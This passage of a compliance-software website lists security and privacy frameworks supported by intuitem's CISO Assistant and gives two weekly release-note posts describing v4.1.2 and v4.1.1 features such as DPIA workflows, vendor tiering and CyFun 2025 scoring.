(https://fr.le360.ma/economie/cybersecurite-le-maroc-adopte-un-referentiel-strict-pour-la-qualification-des-prestataires-cloud_MKGUWQ5MTZBBNPAWH6SE5I4HEY/): Moroccan reference framework defining the qualification requirements for cloud service providers, annexed to the Head of Government decree. - **ANCS Tunisie Référentiel d’Audit de la Sécurité des Systèmes d’Information** (https://intuitem.com): Le Référentiel d’Audit de la Sécurité des Systèmes d’Information est un cadre élaboré pour guider les auditeurs dans l’évaluation de la sécurité des systèmes d’information. Il fournit des critères et des méthodologies standardisés pour assurer la qualité et la cohérence des audits de sécurité. Ce référentiel couvre divers domaines, notamment la gestion des risques, le contrôle d’accès, la continuité des activités et la conformité aux réglementations en vigueur. En adoptant ce référentiel, les organisations peuvent identifier les vulnérabilités potentielles, évaluer l’efficacité de leurs contrôles de sécurité et mettre en œuvre des mesures correctives appropriées pour renforcer la résilience de leurs systèmes d’information.  - **ANSSI Référentiel Général de Sécurité** (https://cyber.gouv.fr/le-referentiel-general-de-securite-rgs): Le Référentiel Général de Sécurité (RGS) élaboré par l'Agence Nationale de la Sécurité des Systèmes d'Information (ANSSI) en France, est un cadre normatif destiné à assurer la sécurité des systèmes d'information des administrations. Mis en place pour répondre aux exigences croissantes de protection des données au sein du secteur public, le RGS définit les règles et les niveaux de sécurité obligatoires pour la protection des informations sensibles gérées par les entités gouvernementales. Il couvre divers aspects de la sécurité informatique, incluant la gestion des risques, la sécurisation des échanges électroniques, la protection de l'infrastructure, ainsi que la conformité des produits et systèmes de sécurité. En établissant des standards de sécurité stricts, le RGS vise à renforcer la confiance dans les services publics numériques et à garantir la continuité et l'intégrité des services gouvernementaux, tout en protégeant les données personnelles et sensibles contre les cybermenaces. - **ANSSI Référentiel Général de Sécurité 2.0 - Annexe B2** (https://cyber.gouv.fr/le-referentiel-general-de-securite-rgs): Annex B2 of France's RGS 2.0 provides specific technical security requirements for electronic signature and authentication mechanisms used in government information systems. - **Agence du Numérique en Santé Référentiel Hébergeur de Données de Santé (HDS)** (https://esante.gouv.fr/services/hebergeurs-de-donnees-de-sante/les-referentiels-de-la-procedure-de-certification): Le décret n° 2018-137 du 26 février 2018 sur l’hébergement de données de santé à caractère personnel a introduit la certification HDS pour assurer la sécurité de ces données en France, un pilier clé de la régulation numérique dans le domaine de la santé. Cinq ans après son lancement, la Délégation du Numérique en Santé et l’Agence du Numérique en Santé ont initié en début 2022 une révision du référentiel HDS. Cette révision a impliqué la CNIL, le HFDS du ministère de la santé, ainsi que divers acteurs industriels et organismes certificateurs. Après une consultation publique fin 2022 et plus de 250 contributions analysées, la CNIL a approuvé le projet de référentiel révisé le 13 juillet 2023. - **Référentiel National de Sécurité de l'Information (RNSI), MPT Algérie** (https://www.mpt.gov.dz): Algeria's national information security framework established by the Ministry of Post and Telecommunications, defining security standards for Algerian organizations. - **Saudi Arabian Monetary Authority (SAMA) Cybersecurity Framework** (https://www.sama.gov.sa/en-US/Pages/default.aspx): The **Saudi Arabian Monetary Authority (SAMA) Cybersecurity Framework** is a comprehensive guideline developed to enhance the cybersecurity posture of organizations operating in Saudi Arabia's financial sector. Designed to align with international standards such as ISO 27001 and the NIST Cybersecurity Framework, it provides a structured approach to managing cybersecurity risks. The framework encompasses several domains, including governance, risk management, compliance, and technical controls, ensuring organizations implement robust measures to protect sensitive data and critical financial services. By adhering to the SAMA Cybersecurity Framework, financial institutions can safeguard against evolving cyber threats, maintain regulatory compliance, and foster trust in the Kingdom's financial ecosystem. - **ANSSI SecNumCloud** (https://cyber.gouv.fr/secnumcloud-pour-les-fournisseurs-de-services-cloud): La qualification SecNumCloud de l’ANSSI s’adresse aux prestataires de services cloud souhaitant démontrer un niveau de sécurité parmi les plus élevés du marché. Cette qualification est en phase avec les attentes des Organismes d’Importance Vitale. Liée à un Visa de Sécurité, elle est la prestation d’excellence des services cloud. Basée sur la structure de la norme ISO/IEC 27001, ce référentiel s’inscrit dans la stratégie nationale française pour un cloud de confiance et le Cybersecurity Act de l'Union Européenne. - **ANSSI SecNumCloud v3.2 Annexe 2 - Recommandations aux commanditaires** (https://cyber.gouv.fr/secnumcloud-pour-les-fournisseurs-de-services-cloud): Annex 2 of SecNumCloud v3.2 provides recommendations for organizations procuring cloud services, covering security requirements specification, provider evaluation, and contractual security clauses. - **SCF Council Secure Controls Framework (SCF) 2026.3** (https://securecontrolsframework.com): The Secure Controls Framework (SCF) is a comprehensive cybersecurity and privacy control framework designed to help organizations manage their security and compliance efforts. It provides a unified set of controls that can be mapped to various industry standards, regulations, and best practices. The SCF aims to simplify the process of implementing and maintaining a robust security program by offering a centralized repository of controls that can be tailored to an organization's specific needs, regardless of its size or industry sector. - **NIST Secure Software Development Framework (SSDF)** (https://csrc.nist.gov/projects/ssdf): The National Institute of Standards and Technology (NIST) Special Publication 800-218, known as the Secure Software Development Framework (SSDF), provides guidelines for implementing secure software development practices. It aims to reduce software vulnerabilities from the design phase through deployment and maintenance. The SSDF outlines a set of high-level practices designed to help organizations integrate security into their software development lifecycle, addressing factors such as risk assessment, design, implementation, testing, and response to vulnerabilities. The framework is intended to be adaptable across different organizations and development environments, serving as a universal guideline to enhance the security of software systems. - **AICPA SOC2-2017 Trust Services Criteria** (https://www.aicpa-cima.com/resources/download/2017-trust-services-criteria-with-revised-points-of-focus-2022): Service Organization Control 2 (SOC 2) is a framework for managing data privacy and security, tailored for service providers storing customer data in the cloud. Developed by the American Institute of CPAs (AICPA), SOC 2 focuses on five key trust service principles: security, availability, processing integrity, confidentiality, and privacy. Unlike its predecessor SOC 1, which is centered on financial reporting controls, SOC 2 is specifically designed to address the needs of technology and cloud computing entities in securing their information systems. Compliance with SOC 2 involves a rigorous audit process, where an independent auditor assesses the extent to which a service provider adheres to these principles based on the design and operational effectiveness of its controls. This certification is crucial for technology companies as it assures clients and stakeholders of the organization's commitment to maintaining a high standard of security and data protection in its operations. - **NIST SP 800-171 revision 2** (https://csrc.nist.gov/pubs/sp/800/171/r2/upd1/final): NIST 800-171 Rev 2, developed by the National Institute of Standards and Technology (NIST), is a publication that provides guidelines on protecting Controlled Unclassified Information (CUI) in non-federal systems and organizations. This document is particularly crucial for contractors and subcontractors serving the U.S. federal government, as it outlines the requirements for safeguarding sensitive federal information. The guidelines are structured around 14 security requirement families, including access control, incident response, and system and information integrity. NIST 800-171 Rev 2 aims to ensure that sensitive federal information remains confidential and resilient against cyber threats while stored in or transmitted through third-party systems. This standard is pivotal in maintaining the trust and integrity of the supply chain involved in federal operations. - **NIST SP 800-171 revision 3** (https://csrc.nist.gov/pubs/sp/800/171/r3/final): On May 14, 2024, the National Institute of Standard and Technology (NIST) published the final versions of Special Publication (SP) 800-171 Revision 3, Protecting Controlled Unclassified Information in Nonfederal Systems and Organizations and its companion assessment guide, NIST SP 800-171A, Revision 3 (collectively, “Rev. 3 Final Version”). While the Department of Defense (DoD) is not requiring contractors who handle Controlled Unclassified Information (CUI) to implement Rev. 3 for now, it is expected that DoD will eventually incorporate Rev. 3 into both DFARS 252.204-7012, Safeguarding Covered Defense Information and Cyber Incident Reporting (DFARS 7012) as well as the forthcoming Cyber Maturity Model Certification (CMMC) program. - **NIST SP 800-53 revision 5** (https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final): Special Publication 800-53, developed by the National Institute of Standards and Technology (NIST), is a cornerstone document that provides a comprehensive set of security and privacy controls for federal information systems and organizations in the United States. Part of the Federal Information Processing Standards (FIPS) Publication 200, SP 800-53 is designed to help ensure that federal information systems meet the stringent requirements necessary to protect governmental operations, assets, and individuals against a wide range of threats and risks. The document categorizes security controls into families, such as access control, incident response, and risk assessment, offering a structured approach to selecting and implementing measures based on the system's impact level. Regularly updated to address evolving cybersecurity challenges, SP 800-53 plays a crucial role in guiding federal agencies and their contractors in the development of robust, secure, and resilient information technology infrastructures, thereby safeguarding critical government functions and sensitive data. - **SWIFT Swift Customer Security Controls Framework (CSCF) v2025** (https://www.swift.com/myswift/customer-security-programme-csp/security-controls): SWIFT's CSCF defines mandatory and advisory security controls for organizations using the SWIFT network, covering secure environment, access management, and threat detection. - **FONES Swiss ICT minimum standard** (https://intuitem.com): Switzerland's ICT Minimum Standard is a cybersecurity framework developed by the Federal Office for National Economic Supply (FONES) to enhance the resilience of critical infrastructure operators against cyber threats. While primarily aimed at these operators, the standard is applicable to any organization seeking to bolster its ICT security. It provides a structured approach encompassing identification, protection, detection, response, and recovery measures, aligning with international standards such as the NIST Cybersecurity Framework. By implementing this standard, organizations can systematically assess and improve their cybersecurity posture, thereby ensuring the continuity of essential services and contributing to national economic stability. - **ECB TIBER-EU** (https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/html/index.en.html): TIBER-EU is a European framework for threat intelligence-based ethical red-teaming. It provides comprehensive guidance on how authorities, entities, and threat intelligence and red-team providers should collaborate to test and improve entities' cyber resilience by conducting controlled cyberattacks.TIBER-EU tests mimic the tactics, techniques, and procedures of real-life attackers based on bespoke threat intelligence. They are tailor-made to simulate an attack on the critical functions of an entity and its underlying systems, i.e., its people, processes, and technologies. The outcome is not a pass or fail; instead, the test is intended to reveal the strengths and weaknesses of the tested entity, enabling it to reach a higher level of cyber maturity. - **ENX TISAX (VDA ISA) v5.1, v6.0 and v2027** (https://portal.enx.com/en-US/TISAX/): TISAX (Trusted Information Security Assessment Exchange) is a standardized protocol for information security assessments within the automotive industry, developed and governed by the ENX Association. It was designed to ensure a uniform level of information security, data protection, and compliance among automotive manufacturers, suppliers, and service providers. TISAX enables companies to undergo a single assessment that is recognized across the board, thereby reducing the need for multiple audits and fostering a culture of transparency and trust within the industry. This assessment covers a wide range of information security measures, including the protection of sensitive and proprietary data, and aims to facilitate secure collaboration and data exchange. By adhering to TISAX, organizations can demonstrate their commitment to upholding stringent information security standards, thereby gaining a competitive edge and building stronger partnerships within the automotive sector. - **UK Ministry of Defence UK Defence Standard 05-138 Issue 4** (https://www.dstan.mod.uk): UK Defence Standard 05-138 defines the cyber security measures suppliers must implement to meet the contractual risk levels of the UK Ministry of Defence. - **UNESCO AI Maturity Framework** (https://unesdoc.unesco.org/ark:/48223/pf0000397145): A self-positioning guide for public administrations to assess their organisational readiness for AI, developed by UNESCO with the support of the European Commission. - **ENX Vehicle Cyber Security Audit (VCSA) v1.1** (https://enx.com/en-us/VCSA/): The Vehicle Cyber Security Audit (VCSA) provides a structured audit methodology for assessing cybersecurity in the automotive industry, aligned with UNECE WP.29 regulations and ISO/SAE 21434 requirements. - **intuitem Vendor Due Diligence - Simple Baseline** (https://intuitem.com): A simple baseline questionnaire by intuitem for vendor due diligence, providing essential security and compliance checks for third-party risk assessment. - **U.S. Department of Defense CIO Zero Trust for Operational Technology (ZT OT)** (https://dodcio.defense.gov): The DoD CIO's Zero Trust framework adapted for Operational Technology, defining activities and outcomes for applying zero trust principles to OT environments. ## Blog posts ### What's New in CISO Assistant — Week 44, 2026 (v4.1.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w44 Published: 2026-10-17 Author: intuitem This post covers **v4.1.2**, published on October 16. The privacy module gets the most attention, with DPIA screening and assessment and a processor register. Metrics can now be computed from other metrics, business impact analyses gain a dependency view, and all outbound mail goes through one service. There is no breaking change in this release, and six people make their first contribution. ## Privacy: DPIA and the Processor Register - **DPIA screening and assessment** — processing records now carry a DPIA workflow. A screening form decides whether an assessment is needed, and the assessment form rates the risks. Both forms are bilingual and come with their scales and the facts of the processing. Decisions keep a review history, and a manual override needs a note. A new **DPIA overview** tracks every assessment by status, with search, filters and links to the forms (PR [#5069](https://github.com/intuitem/ciso-assistant-community/pull/5069)). - **Quick forms** gain what the DPIA needed: rating outcomes and subject facts shown on the form, configurable scales and rating rules, and an **Always review** setting. Questions and choices that saved responses still use can no longer be deleted. - **Processor register** — a processing record now has a role: controller, joint controller or data processor, with the related controller where it applies. Quick filters switch between the controller and processor registers, the form adapts to the role (processors don't get DPIA fields), and imports and exports carry the role, the controller and the security measures (PR [#5072](https://github.com/intuitem/ciso-assistant-community/pull/5072)). Thanks to **@ab-smith**. ## Computed Metrics Metrics no longer have to be typed in (PR [#5021](https://github.com/intuitem/ciso-assistant-community/pull/5021)). - **New computed metric** on the metric instances list, or **Compute from selection** on selected rows: pick the instances to combine, write a CEL formula and name it. The result is a number or a level, and a live preview shows the latest result, recent periods and a trend. - Saving creates an ordinary, reusable definition and an instance pinned to the instances you picked, in the lowest domain that holds them all. - **Edit formula** opens a drawer that charts the edited formula against the current results before you save. - **Metrics on applied controls** — applied controls and metric instances can now be linked both ways, filtered by each other, and merges carry the links (PR [#5067](https://github.com/intuitem/ciso-assistant-community/pull/5067)). Thanks to **@nas-tabchiche** and **@ab-smith**. ## Business Impact Analysis - **Dependency analysis** — each BIA gets flow, domain-map and gap-register views of its asset dependencies. Select an asset or a domain cell to see its status, objective gaps, causes and impacts. Graphs only show assets the viewer can see (PR [#5089](https://github.com/intuitem/ciso-assistant-community/pull/5089)). - **Timeline** — one row per qualification, grouping by asset or qualification, the asset's full folder path, and faster rendering (PR [#5081](https://github.com/intuitem/ciso-assistant-community/pull/5081)). Thanks to **@ab-smith**. ## Mail and Log Forwarding - **One mail service** — password resets, invitations, notifications and workflow emails now all go through one service that tries the configured mailers in order. The `EMAIL_*` variables are unchanged and the `_RESCUE` set becomes the second mailer, which now applies to every message. Failover happens only when a server cannot be reached, so nothing is sent twice. This prepares OAuth over SMTP for Microsoft 365 and Google Workspace (PR [#4879](https://github.com/intuitem/ciso-assistant-community/pull/4879)). Thanks to **@nas-tabchiche**. - **OAuth for audit-log forwarding (beta)** — HTTP sinks support OAuth 2.0 client credentials with token renewal, and can send events as a JSON array. A new guide covers forwarding to **Microsoft Sentinel** and Log Analytics (PR [#5085](https://github.com/intuitem/ciso-assistant-community/pull/5085)). Thanks to **@ab-smith**. ## MCP: Incidents and Evidence - **Incidents** — `create_incident` and `update_incident`, plus `create_timeline_entry` for detection, mitigation and observation entries (PR [#5058](https://github.com/intuitem/ciso-assistant-community/pull/5058)). Incidents can be linked to task templates, which also fixes name lookups in the existing task-template tools (PR [#5080](https://github.com/intuitem/ciso-assistant-community/pull/5080)). - **Evidence** — `create_evidence` creates an evidence and uploads a local file to it, with the same file types as the API and a size limit set by `CA_MCP_MAX_UPLOAD_MB` (PR [#5061](https://github.com/intuitem/ciso-assistant-community/pull/5061)). - `get_risk_scenario` now shows existing applied controls (PR [#5056](https://github.com/intuitem/ciso-assistant-community/pull/5056)). Thanks to **@JohnGanem**. ## AI, Search and Demo Data - **AI layer** — the chat can look up exact requirement references and mappings between frameworks, limited to what you can access, and answers include linked assessments, findings, scenarios, controls and assets (PR [#5091](https://github.com/intuitem/ciso-assistant-community/pull/5091)). - **Search** covers document containers, projects, organisational objectives and issues, and metric instances, with better ranking. Document results open in the reader (PR [#5097](https://github.com/intuitem/ciso-assistant-community/pull/5097)). - **Demo data** — a much larger demo dataset covering governance, compliance, risk, privacy, resilience, suppliers, documents and automation, loadable by module (PR [#5041](https://github.com/intuitem/ciso-assistant-community/pull/5041)). It includes sample pipeline posture from Plumber scans. Thanks to **@ab-smith**. ## Technical Posture, Domains and UX - **Plumber imports** — OCSF results from Plumber can be imported into technical postures, with control-based matching. Partial imports now keep the other results of the current posture (PR [#5092](https://github.com/intuitem/ciso-assistant-community/pull/5092)). Thanks to **@ab-smith**. - **Domain ref_id** — domains get an optional `ref_id`, unique across all domains, in the form, list, exports, data wizard and domain backups (PR [#5077](https://github.com/intuitem/ciso-assistant-community/pull/5077)). Thanks to **@nas-tabchiche**. - **Saved table sorting** — each table remembers its sort in the browser, and resetting filters restores the default sort (PR [#5068](https://github.com/intuitem/ciso-assistant-community/pull/5068)). - **Evidence on applied controls** — evidence is now one of the linked fields of an applied control (PR [#5066](https://github.com/intuitem/ciso-assistant-community/pull/5066)), and the data wizard re-imports `extended_result` from audit exports (PR [#5084](https://github.com/intuitem/ciso-assistant-community/pull/5084)). Thanks to **@monsieurswag**. - **Domain filters** load lazily (PR [#5045](https://github.com/intuitem/ciso-assistant-community/pull/5045)), and the workflow editor's bottom panes are collapsible (PR [#5065](https://github.com/intuitem/ciso-assistant-community/pull/5065)). ## Framework & Library Updates - **Hungarian NIS2** — the 7/2024 MK rendelet catalogue of protection measures (914 measures, 7 implementation groups), its threat catalogue, and the 1/2025 SZTFH rendelet elementary requirements for NIS2 audits, as three separate libraries (PRs [#5039](https://github.com/intuitem/ciso-assistant-community/pull/5039), [#5076](https://github.com/intuitem/ciso-assistant-community/pull/5076)). Welcome to **@aafeher**, who makes their first contribution with these libraries and the Hungarian localisation. - **Costa Rica BCCR-SINPE NT-RCS edition 7** — bilingual Spanish/English frameworks for categories 1 and 2, with Cumple / No cumple questions and the procedural checklist (PR [#5032](https://github.com/intuitem/ciso-assistant-community/pull/5032)). Welcome to **@ARG-INNOVA**, a first-time contributor. - **NCSC CAF 4.0** — a question-based version with compliance inferred per tier: every applicable statement in a tier must be met. Frameworks can now choose this tiered aggregation (PR [#4876](https://github.com/intuitem/ciso-assistant-community/pull/4876)). - **ReCyf ↔ ANSSI hygiene guide** — mappings to the variant of the ANSSI hygiene guide (PR [#5070](https://github.com/intuitem/ciso-assistant-community/pull/5070)). - **Plumber** framework upgraded (PR [#5046](https://github.com/intuitem/ciso-assistant-community/pull/5046)), **ENISA SME CRA maturity** in German by **@hlederhaas** (PR [#5053](https://github.com/intuitem/ciso-assistant-community/pull/5053)), and **ITIL 4** management practices in Spanish (PR [#5095](https://github.com/intuitem/ciso-assistant-community/pull/5095)) — welcome to **@GIOSDQ**, a first-time contributor. - Excel and YAML library pairs are aligned and inconsistent libraries regenerated (PR [#4905](https://github.com/intuitem/ciso-assistant-community/pull/4905)). Thanks to **@tarkadia**. ## Bug Fixes - **Question weights** — in SUM-scored questionnaires, weights multiplied the answers but not the maximum, so a weighted requirement saturated at its top score. The weighted sum is now projected onto the requirement's scale. Existing audits keep their stored score until `recompute_assessment_results` runs (PR [#4840](https://github.com/intuitem/ciso-assistant-community/pull/4840)). - **Outcomes with hidden requirements** — as soon as a visibility expression hid one requirement, outcomes that read answers stopped firing. They now work, and hiding a section also hides its contents (PR [#5035](https://github.com/intuitem/ciso-assistant-community/pull/5035)). Thanks to **@eric-intuitem**. - **OIDC-only login** — with OIDC settings and no SAML section, the login page failed to load, password login included (PR [#4992](https://github.com/intuitem/ciso-assistant-community/pull/4992)). Thanks to **@theluckystrike**. - **Deleted questions** in the framework builder are now removed on publish, along with their audit answers (PR [#5063](https://github.com/intuitem/ciso-assistant-community/pull/5063)). - **Currency** — after changing the global currency, new applied controls were still created in € (PR [#5071](https://github.com/intuitem/ciso-assistant-community/pull/5071)). Thanks to **@melinoix**. - **Asset API** — security objectives and capabilities sent as arrays, the format GET returns, are now accepted on write (PR [#4643](https://github.com/intuitem/ciso-assistant-community/pull/4643)). Welcome to **@ChickenisLegit**, a first-time contributor. - Smaller fixes: hidden classification levels no longer offered when creating a document (PR [#5043](https://github.com/intuitem/ciso-assistant-community/pull/5043), thanks to **@mvanhorn**), a distinct label for the per-requirement review flag in TPRM (PR [#5082](https://github.com/intuitem/ciso-assistant-community/pull/5082), thanks to **@Axxiar**), and the Markdown table component (PR [#5044](https://github.com/intuitem/ciso-assistant-community/pull/5044)). ## Localisation - **Hungarian** is complete (PR [#5073](https://github.com/intuitem/ciso-assistant-community/pull/5073)), thanks to **@aafeher**. - **Brazilian Portuguese** is complete (PR [#5074](https://github.com/intuitem/ciso-assistant-community/pull/5074)). Welcome to **@tarcisiommota**, a first-time contributor. - **Ukrainian** is complete with fixed terminology, and observation labels are no longer hardcoded (PRs [#5051](https://github.com/intuitem/ciso-assistant-community/pull/5051), [#5052](https://github.com/intuitem/ciso-assistant-community/pull/5052)). Welcome to **@troshab**, a first-time contributor. - **German** catches up with recent features and reminder emails are localised (PRs [#5026](https://github.com/intuitem/ciso-assistant-community/pull/5026), [#4985](https://github.com/intuitem/ciso-assistant-community/pull/4985)), thanks to **@hlederhaas**. **Polish** is updated by **@amrutadotorg** (PR [#4971](https://github.com/intuitem/ciso-assistant-community/pull/4971)), and duplicated strings are fixed by **@Claquetteuuuh** (PR [#4933](https://github.com/intuitem/ciso-assistant-community/pull/4933)). --- For full details, see the [v4.1.2 release notes](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.1.2) on GitHub. --- ### What's New in CISO Assistant — Week 43, 2026 (v4.1.1) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w43 Published: 2026-10-10 Author: intuitem This post covers **v4.1.1**, published on October 9. It is labelled a patch, but it is a large one. Third-party risk management gets vendor tiering. Framework outcome rules can now compute scores and check conformity criteria, and CyFun 2025 is the first framework to use them. Workflows can page through external APIs and write objects in bulk. There is no breaking change in this release. ## Vendor Tiering (TPRM) Vendors could be assessed, but not ranked. v4.1.1 adds an org-wide **tier scale** and a way to set a vendor's tier from a scored questionnaire (PR [#4973](https://github.com/intuitem/ciso-assistant-community/pull/4973)). - **Tier scale** — an ordered scale, by default critical, high, medium and low, edited from **Third parties → Tier scale** by administrators and domain managers of Global. Tiers can be renamed, recoloured, reordered and hidden. Built-in tiers cannot be deleted. - **Tier on vendors** — the entity page and table show the tier, its source (manual, assessment or override), its date and its score. You can set it from the edit form, with a batch action or with a right-click on **Change tier**, and filter entities by tier, including those with no tier. - **Criticality forms** — quick forms can now score pages (sum, max or average) and compute values with number rules. A form can name its subject, such as the vendor being assessed, and a publication can **set the vendor's tier when a response is accepted**, from score bands, outcome floors or both. The highest result wins. - **Assessment flow** — **Assess tier** on the vendor page starts a response about that vendor. The projected tier can be shown while the form is filled in. A self-assessment applies the tier on submit when the submitter can edit the vendor, otherwise it goes to review. A publication can also always require review. The reviewer sees what accepting will write and can override it with a justification. - **Starter library** — a bilingual **Vendor tiering** form (business impact and data exposure) comes with a suggested tier setup that is pre-filled when you publish it. - **Library builder** — quick forms can be published from their page, number rules can use a page's score, tier bands are pre-filled from the scale, and Ctrl/Cmd+S saves. URNs are no longer re-minted on every save. Thanks to **@ab-smith**. ## Outcome Rules on Frameworks, and CyFun 2025 The CEL rules that quick forms use can now run on frameworks too (PR [#5012](https://github.com/intuitem/ciso-assistant-community/pull/5012)). - **Number rules** compute a value that other rules can read. Labelled ones are shown on the audit page next to the outcomes. - **Rules run in order**, so a yes/no rule can build on the rules above it, for example "criteria met" when every criterion above is met. Quick forms follow the same order now. - **Rules can be limited to implementation groups**, and they apply to audits whose scope includes one of those groups. - **Rules can read scores** — the audit's implementation, documentation and maturity scores and its target; each requirement's documentation and maturity scores and groups; and per-section and per-group scores, computed with the audit's calculation method. - Outcomes are refreshed when scores, scope or scoring settings change, or when a library update changes the rules. A rule that names an unknown requirement, section or group refuses the library load. **CyFun 2025** audits use these rules to show the CCB conformity criteria for their level: total maturity (2.5 for BASIC, 3 for IMPORTANT, 3.5 for ESSENTIAL), every key measure, every category at 3 or more for ESSENTIAL, and the exclusion limits. Each audit then gets an overall "CCB conformity criteria met" result. Labels are in English, French and Dutch. PR [#4994](https://github.com/intuitem/ciso-assistant-community/pull/4994) aligns CyFun scoring with the CCB's own tools: - Scores are rounded once, at the end, to two decimals. Maturity used to be truncated three times. - CyFun 2023 and 2025 audits default to **Average of averages**, and CyFun 2025 counts N/A at the level's target. The 1–5 scale is locked, and an unset documentation score counts as the scale minimum, not 0. These defaults are declared by the framework. Existing audits are not changed. - **Export to the official CCB tool** — CyFun 2023 audits export to the CCB CyFun 2023 workbook, and CyFun 2025 audits export to the BASIC, IMPORTANT or ESSENTIAL workbook based on their implementation groups. The workbook's charts and dropdowns are kept. - The CyFun 2025 library is aligned with the 2026 CCB booklets in English, Dutch and French, and the CyFun 2023 → 2025 mapping follows the CCB transposition table. - A new setting, **Show the documentation score first**, applies wherever both scores are shown. Thanks to **@ab-smith**. ## Workflows: Paginated APIs and Bulk Writes Workflows that pull data from security tools now handle the volumes those tools return (PR [#5027](https://github.com/intuitem/ciso-assistant-community/pull/5027)). - **HTTP requests** support OAuth client-credentials authentication and pagination, with safeguards on the number of pages and a pagination status in the output. - A **bulk action** creates or updates objects from a list, with a configurable item limit and errors handled per item. - Run lists show output previews, and output size limits can be configured. - **New templates** — Microsoft Entra ID identity metrics, Microsoft Defender device inventory and SentinelOne coverage. Thanks to **@ab-smith**. ## MCP: Advanced EBIOS RM, Assets and Teams - **Advanced EBIOS RM** — the MCP server catches up with v4.1.0: study likelihood methods, the study frame, operating-mode likelihood, kill-chain steps with techniques, success probability, difficulty and supporting assets, and target-objective categories on RO/TO couples (PR [#5007](https://github.com/intuitem/ciso-assistant-community/pull/5007)). Thanks to **@ab-smith**. - **Assets** — `update_asset` no longer resets security objectives it was not asked to change. Asset tools now cover all security criteria, capabilities and recovery objectives, and durations can be written as `2h` or `1h30m`. A new `get_asset_security_gaps` tool compares objectives with capabilities. Entities gain `relationship` and `address` (PR [#4981](https://github.com/intuitem/ciso-assistant-community/pull/4981)). Thanks to **@JohnGanem**. - **Teams** — new tools list, create and update teams, including leader, deputies and members, so risk owners can be managed as teams. Users can be given by name, ID or email (PR [#4983](https://github.com/intuitem/ciso-assistant-community/pull/4983)). Thanks to **@jledoze**. ## Audits, Documents and Import - **Exclude N/A from the tree** — a toggle on the audit page and in table mode removes not-applicable requirements from the percentages (PR [#4853](https://github.com/intuitem/ciso-assistant-community/pull/4853)). Thanks to **@monsieurswag**. - **Global evidences in the audit's evidence list** — evidence attached to the audit itself now appears there, along with evidence linked through applied controls and task templates (PR [#4845](https://github.com/intuitem/ciso-assistant-community/pull/4845)). Thanks to **@Axxiar**. - **Pending document revisions** — a v2 still in review used to be invisible while v1 was in force. The documents list now shows it as a badge, and the document header shows both revisions (PR [#4817](https://github.com/intuitem/ciso-assistant-community/pull/4817)). Thanks to **@Claquetteuuuh**. - **Domains in the data wizard** — domains can be imported and exported with their filtering labels and IAM-group setting, and an export re-imports as is. Each imported row is now written in its own transaction (PR [#5006](https://github.com/intuitem/ciso-assistant-community/pull/5006)). Thanks to **@Spaghetto784**. - **Threats in risk imports** — a `threats` column links imported risk scenarios to threats by ref_id or name (PR [#5017](https://github.com/intuitem/ciso-assistant-community/pull/5017)). Thanks to **@martinzerty**. - **Findings exports** — recommendation and priority are now included in the Markdown, PDF and XLSX exports (PR [#5001](https://github.com/intuitem/ciso-assistant-community/pull/5001)). Welcome to **@theluckystrike**, who makes their first contribution with this fix. - **Domain compliance tree (experimental)** — a new view of audit results across domains, by compliance or score, with filters for implementation group, section and campaign, and a shortcut to the weakest audited areas (PR [#5029](https://github.com/intuitem/ciso-assistant-community/pull/5029)). Thanks to **@ab-smith**. ## Framework & Library Updates - **China PIPL** — the Personal Information Protection Law, with its compliance audit measures, plus Chinese labels for more of the interface (PR [#5024](https://github.com/intuitem/ciso-assistant-community/pull/5024)). - **OWASP SAMM v2.2** — the Software Assurance Maturity Model, with maturity scoring by function and practice and target levels (PR [#5031](https://github.com/intuitem/ciso-assistant-community/pull/5031)). - **ISO/IEC 27001:2022 ↔ HDS v2.0** — mappings in both directions, with annotated HDS requirements (PR [#5000](https://github.com/intuitem/ciso-assistant-community/pull/5000)). - **IEC 62443 ↔ ANSSI** — mappings between the ANSSI detailed measures guide for industrial systems (v2) and six parts of IEC 62443 (PR [#5028](https://github.com/intuitem/ciso-assistant-community/pull/5028)). Thanks to **@ab-smith**. ## Security - **Score visibility on inherited results** — when field visibility hid an audit's scores from a role, the inheritance overlay in the framework report and combined tree still carried them, so "Apply domain inheritance" showed them anyway. The overlay is now redacted with the same rules, including values coming from ancestor audits (PR [#4899](https://github.com/intuitem/ciso-assistant-community/pull/4899)). Thanks to **@nas-tabchiche**. - **Risk acceptance approvers** must now be able to approve both in the acceptance's domain and in the domain of every linked scenario (PR [#5020](https://github.com/intuitem/ciso-assistant-community/pull/5020)). - **CRQ budget overview** now respects the user's permissions and no longer exposes hidden control owners (PR [#5019](https://github.com/intuitem/ciso-assistant-community/pull/5019)). ## Bug Fixes - **Scores saved without user input** — on the auditee page, opening an unscored requirement saved it as 0 and marked it scored. Scores are now saved only when you move the slider (PR [#5002](https://github.com/intuitem/ciso-assistant-community/pull/5002)). - **Deselected EBIOS RM operational scenarios** were still copied into the synced risk assessment through their attack path (PR [#4958](https://github.com/intuitem/ciso-assistant-community/pull/4958)). - **Risk assessment import** left every impact and probability unrated when the matrix came from the library builder. Labels now match level positions, and unknown values raise a warning instead of erasing the rating (PR [#4987](https://github.com/intuitem/ciso-assistant-community/pull/4987)). - **Library import/export** now carries visibility expressions, importance, target, min and max scores, and score definitions (PR [#5022](https://github.com/intuitem/ciso-assistant-community/pull/5022)). Thanks to **@eric-intuitem**. - **ServiceNow** — the table picker shows scoped app tables such as `sn_customerservice_case`, and both pickers keep paging past pages that ACLs shortened (PRs [#4993](https://github.com/intuitem/ciso-assistant-community/pull/4993), [#4998](https://github.com/intuitem/ciso-assistant-community/pull/4998)). Existing integrations need a schema refresh in the field mapper. Thanks to **@nas-tabchiche**. - **Embedded table filters** are now remembered per page (PR [#4630](https://github.com/intuitem/ciso-assistant-community/pull/4630)), and the **evidence attachment hash** is shown and backfilled for older revisions (PR [#4785](https://github.com/intuitem/ciso-assistant-community/pull/4785)). - Smaller fixes: risk-level filter labels across several matrices, multi-value domain and perimeter filters on risk scenarios, the "current view" export including the search, tooltips in dark mode, library quick filters, and the CSV/XLSX format on public snapshot exports (PRs [#5020](https://github.com/intuitem/ciso-assistant-community/pull/5020), [#4990](https://github.com/intuitem/ciso-assistant-community/pull/4990), [#4982](https://github.com/intuitem/ciso-assistant-community/pull/4982)). Thanks to **@Spaghetto784** and **@martinzerty** for many of these fixes. ## Localisation - **Polish** — the Polish localisation is updated (PR [#4968](https://github.com/intuitem/ciso-assistant-community/pull/4968)). Welcome to 